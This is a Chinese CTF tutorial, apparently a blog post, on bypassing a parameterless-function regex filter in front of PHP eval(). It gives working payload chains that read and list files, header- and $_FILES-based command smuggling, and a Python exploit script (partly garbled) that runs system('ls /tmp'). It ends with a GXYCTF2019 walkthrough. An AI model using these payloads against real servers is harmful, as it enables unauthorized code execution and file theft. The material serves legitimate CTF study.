无参数函数RCE

目录

题目特征:

基础函数学习

方法一:array_rand()

array_filp()

方法二:getallheaders()

方法三:get_defined_vars()

例题:

[GXYCTF2019]禁止套娃 无参数RCE


粗略两种方法:
1.利用超全局变量进行bypass,进行RCE
2.进行任意文件读取

题目特征:

遇到如下限制

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}

我们会发现我们使用参数则无法通过正则的校验

/[^\W]+\((?R)?\)/

而该正则,正是我们说的无参数函数的校验,其只允许执行如下格式函数

a(b(c()));

a();

但不允许 携带参数!

这样我们只能使用无参数RCE,难度徒增!

基础函数学习

  • localeconv() 函数返回一包含本地数字及货币格式信息的数组。
  • scandir() 列出 images 目录中的文件和目录。
  • readfile()  输出一个文件。
  • current() 返回数组中的当前单元, 默认取第一个值。
  • pos() current() 的别名。
  • next() 函数将内部指针指向数组中的下一个元素,并输出。
  • array_reverse()以相反的元素顺序返回数组。
  • highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。
  • current(localeconv())   永远都是个点
  • localeconv()    函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
  • current()     返回数组中的当前单元, 默认取第一个值。
  • pos()      是current()的别名。
  • var_dump()是判断一个变量的类型与长度,并输出变量的数值,如果变量有值输的是变量的值并回返数据类型.此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。

〇、非常规操作
https://blog.csdn.net/kali_Ma/article/details/122544274


目录操作:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。


数组相关的操作:
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
array_shift() - 删除数组中第一个元素,并返回被删除元素的值。


读文件:
show_source() - 对文件进行语法高亮显示。
readfile() - 输出一个文件。
highlight_file() - 对文件进行语法高亮显示。
file_get_contents() - 把整个文件读入一个字符串中。
readgzfile() - 可用于读取非 gzip 格式的文件

print_r(det_defined_vars());  打印所有可用的变量
scandir()


文件读取查看当前目录文件名
print_r(scandir(current(localeconv())));


当前目录倒数第一位文件:
show_source(end(scandir(getcwd())));

当前目录倒数第二位文件:
show_source(next(array_reverse(scandir(getcwd()))));


随机返回当前目录文件:
highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));


查看上一级目录文件名
print_r( );
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));


读取上级目录文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

payload解释:
● array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
● array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。
● array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
● dirname(chdir(dirname()))配合切换文件路径查看和读取根目录文件


所获得的字符串第一位有几率是/,需要多试几次
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

方法一:array_rand()

效果如下

 不想要下标,我想要数组的值,那么我们可以使用

array_filp()

两者结合使用,即可出现数组的

方法二:getallheaders()

之前我们获取的是所有环境变量的列表,但其实我们并不需要这么多信息。仅仅http header即可
在apache2环境下,我们有函数getallheaders()可返回
我们可以看一下返回值

1
2
3
4
5
6
7
8
9
array(8) { 
    ["Host"]=> string(14) "106.14.114.127" 
    ["Connection"]=> string(10) "keep-alive" 
    ["Cache-Control"]=> string(9) "max-age=0" 
    ["Upgrade-Insecure-Requests"]=> string(1) "1" 
    ["User-Agent"]=> string(120) "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" 
    ["Accept"]=> string(118) "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"
     ["Accept-Encoding"]=> string(13) "gzip, deflate" ["Accept-Language"]=> string(14) "zh-CN,zh;q=0.9" 
}

我们可以看到,成功返回了http header,我们可以在header中做一些自定义的手段,例如

 我们再将结果中的恶意命令取出

var_dump(end(getallheaders()));

 这样一来相当于我们将http header中的sky变成了我们的参数,可用其进行bypass 无参数函数执行
例如

那么可以进一步利用http header的sky属性进行rce

方法三:get_defined_vars()

使用 getallheaders ( ) 其实具有局限性,因为他是 apache 的函数,如果目标中间件不为 apache,那么这种方法就会失效,我们也没有更加普遍的方式呢?

这里我们可以使用 get_defined_vars ( ) ,首先看一下它的回显。

发现其可以回显全局变量有如下几种:

$_GET  $_POST    $_FILES    $_COOKIE

我们这里的选择也就具有多样性,可以利用 $_GET 进行 RCE,例如:

还是和之前的思路一样,将恶意参数取出。

发现可以成功 RCE。

但一般网站喜欢对如下超全局变量做全局过滤:

$_GET $_POST $_COOKIE

所以我们可以尝试从 $_FILES 下手,这就需要我们自己写一个上传:

可以发现空格会被替换成下划线 _ ,为防止干扰我们用 hex 编码进行 RCE。

最终脚本如下:

import requests from io 
import BytesIO 

payload = "system('ls /tmp');".encode('hex') 
files = { payload: BytesIO ( ’ sky cool! ’ ) } 

r = requests.post ('http://localhost/skyskysky.php?code=eval ( hex2bin ( array_rand ( end ( get_defined_vars() ))));',files=files, allow_redirects=False ) 

print r.content


//?code=eval(hex2bin(array_rand(end(get_defined_vars()))));',files=files, allow_redirects=False

例题:

[GXYCTF2019]禁止套娃 无参数RCE

分析源码:

  1. GET方式传入exp参数,若满足条件,则将exp内容当做php代码来执行。
  2. 过滤了data/filter/php/phar伪协议,不能以伪协议直接读取文件。
  3. (?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。
  4. 正则匹配还过滤了et/na/info等关键字,导致get等很多函数用不了
  5. eval($_GET[‘exp’]); 典型的无参数RCE
     

一、首先需要得到当前目录下的文件
scandir()函数可以扫描当前目录下的文件,例如:

<?php
print_r(scandir('.'));
?>

但是要如何构造scandir('.'),这里有个‘.’直接传入就相当于还是传入一个参数,exp还是被过滤掉了,所以我们要想个其他的方法代替'.'

这里涉及到一个知识点:
current(localeconv())永远都是个点
localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值。
pos()是current()的别名。
pos(localeconv())和current(localeconv())的结果一样,都是表示'.'
所以这两个函数嵌套使用就是一个'.'

那么我们第一步就解决了:

print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));


接下来就是如和读取到倒数第二个数组呢?

array_flip():交换数组中的键和值。


此时将键和值做了一下交换,下一步就是如何取出他的键。

array_rand():从数组中随机取出一个或多个单元

最后一个问题,如何读取flag.php的源码。
由于et被过滤掉了,所以不能使用file_get_contents(),但是可以市容readfile()或highlight_file()以及其别名函数show_source()。
有了以上的函数,我们就可以将这些函数组合起来读取flag了。

?exp=show_source(array_rand(array_flip(scandir(pos(localeconv())))));
?exp=highlight_file(array_rand(array_flip(scandir(pos(localeconv())))));


由于是使用array_rand()函数随机取出键值,所以可能需要多刷新几次才能取出flag.php。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值